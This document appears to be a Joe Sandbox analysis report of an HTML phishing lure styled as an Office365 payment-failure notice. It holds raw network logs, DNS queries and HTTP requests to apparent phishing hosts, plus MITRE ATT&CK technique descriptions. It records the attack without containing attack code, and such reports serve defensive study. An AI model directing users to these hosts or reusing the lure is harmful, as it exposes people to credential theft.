Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Payment_Failure_Notice_Office365_sdf_[13019].html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Payment_Failure_Notice_Office365_sdf_[13019].html	HTTP Parser: No favicon

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10

Source: global traffic	HTTP traffic detected: GET /logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458 HTTP/1.1Host: static.wikia.nocookie.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458 HTTP/1.1Host: static.wikia.nocookie.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381066314_1K7DCGUB8OSLDMFYA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381066313_1SPDQGELA3SLXFIM6&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /smarty/xls_v1.6/tail-spin.svg HTTP/1.1Host: kasumbo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239339388129_199HS4001G3EH5S78&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239339388130_1LUEK7XGBN2FMZI35&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/stiktk.php HTTP/1.1Host: ajx6f16w140.chiliesdigital.co.zaConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Encryption/ErrorPage.aspx?src=0&code=10&be=DM8PR09MB6088&fe=BL1PR13CA0351.NAMPRD13.PROD.OUTLOOK.COM HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/stiktk.php HTTP/1.1Host: ajx6f16w140.chiliesdigital.co.zaConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /app/stiktk.php HTTP/1.1Host: ajx6f16w140.chiliesdigital.co.zaConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: static.wikia.nocookie.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 5bsrfkftdtnvful9nm.ssaa.beauty
Source: global traffic	DNS traffic detected: DNS query: _8443._https.5bsrfkftdtnvful9nm.ssaa.beauty
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: kasumbo.com
Source: global traffic	DNS traffic detected: DNS query: ajx6f16w140.chiliesdigital.co.za
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment_Failure_Notice_Office365_sdf_[13019].html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 3756, Parent PID: 5944

Windows Analysis Report
Payment_Failure_Notice_Office365_sdf_[13019].html